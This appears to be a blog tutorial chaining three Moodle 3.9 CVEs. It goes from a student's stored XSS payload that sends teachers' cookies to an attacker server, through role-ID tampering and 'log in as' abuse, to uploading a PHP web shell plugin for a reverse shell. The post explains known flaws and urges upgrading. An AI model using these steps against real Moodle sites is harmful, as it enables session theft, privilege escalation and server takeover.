Moodle 3.9 From XSS To Account Takeover To RCE

Aniket Badami
6 min readApr 7, 2021

This will be a practical demonstration of how a student on Moodle version 3.9 can able to exploit XSS vulnerability to gain teachers session and then escalate from teacher to manager to RCE to get local shell.

For this to work, you should have access to student account on Moodle and have enrolled to at least one class.

First we take advantage of CVE-2020–25627 to steal teachers session cookies.

TL;DR — CVE-2020–25627
The moodlenetprofile user profile field required extra sanitizing to prevent a stored XSS risk. This affects versions 3.9 to 3.9.1. Fixed in 3.9.2.

The objective is to steal session cookies from staff member (teacher), when a teacher or staff member visit your profile, our XSS payload gets triggered and we’d get the session cookies of teacher.

For this we will use below payload for our XSS atatck.

<script>var i=new Image;i.src=""+document.cookie;</script>

I have to run a HTTP server on my IP address, so when staff opens my profile, I'd get a hit on my HTTP server with session cookies.

And we input this payload in MoodleNet Profile


So, when a teacher or staff visit my profile, I’d get their session cookies.

Session Cookie

As you can see, the moment someone visited my profile I received their cookies. Now, let’s use this cookie to access their session. I just need to replace my cookie with stolen one.

Replace Cookie

Before using stolen cookies.


After using stolen cookies.


As you can see, we got the one of teachers session. Now we can enroll a student or remove them. But, we can takeover admin/managers account too.

To escalate privileges from teacher to role manager, we will use this CVE-2020–14321. For this to work you need to find who has the manager role.

Once we know the manager, then we need to enroll that manager and intercept in burp suite and change role IDs to give yourself manager role.


In the above image, I have enrolled “manager” for the course/subject. We need to intercept this request in burp suite.


As you see from the above image, moodle doesn't work on the bases of username bu user IDs, and every ID has a role. Check below image.

Role IDs

As you can see the highest role goes to “manager”, ID is ‘1’ and student ID is ‘5’. If you check our burp request I have marked two things, userlist=25 and role_to_assign=5.

Here user list is user ID of person whom I am enrolling to my class and role to assign ID is privileges (student). Now we need to change userlist to 24 (my ID) and role to assign ID to 1 (manager). By this we can have the manager privileges to our current account.

At this moment we have already got access to teacher session, now we need manager privileges.

Modify IDs
Manager role

We got manager role now. Now we need to add the same manager as student this time to take advantage of another vulnerability. CVE-2020–25629, users with “Log in as” capability in a course context (typically, course managers) may gain access to some site administration capabilities by “logging in as” a System manager.

Log In As

We can escalate our existing privileges using this bug (feature).

Login As

As you can I am logging in as another user (manager) now.

Manager login

We are now successfully logged in as another user (manager). If you remember, we were student, then got teacher session, then gained manager role now we have access to original managers login. All without any staff credentials, but only by exploiting vulnerabilities in the Moodle.

Now we can manage/administrate the site, as we are manager.


Under users category of site administration, now we need to gain full permissions to upload our malicious code on server via Plugin category.


If we check Plugins category, we don’t have access to install Plugin.


Once we are inside Users category, we need to define roles for manager.

Manager Roles

We are going to edit the manager roles to gain full access to all available features. Now we need to edit roles to modify permissions of managers, this will be applicable to all existing manager accounts.

Edit Roles

There are lot of options in the manager roles, so we have to intercept the save request and use pre-defined payload to give full access.


Don’t change anything from webpage, we need to just click on save and intercept the request in burp suite.

burp request

As you can see these are default roles assigned to manager. Now we need to replace this with this.

Note: While replacing don’t modify the “sesskey”.

If we check now the Plugin category, we have “install plugin” feature available.


Install plugin only works with .zip files.

Install Plugins

We can use this POC to get RCE on server. Change the .PHP file accordingly to gain shell access. I am using PentestMonkey’s PHP web shell. Upload the payload (zip) and we need to execute it to get reverse shell.


Moodle validates all plugins while installing, if it fails, then you have to modify accordingly.

Once zip gets uploaded, now we need to access it. Path: hxxp://


Once you access the web shell via browser, we get the reverse connection on our netcat listener.

That’s how by chaining vulnerabilities to get an RCE on server. Update your Moodle version.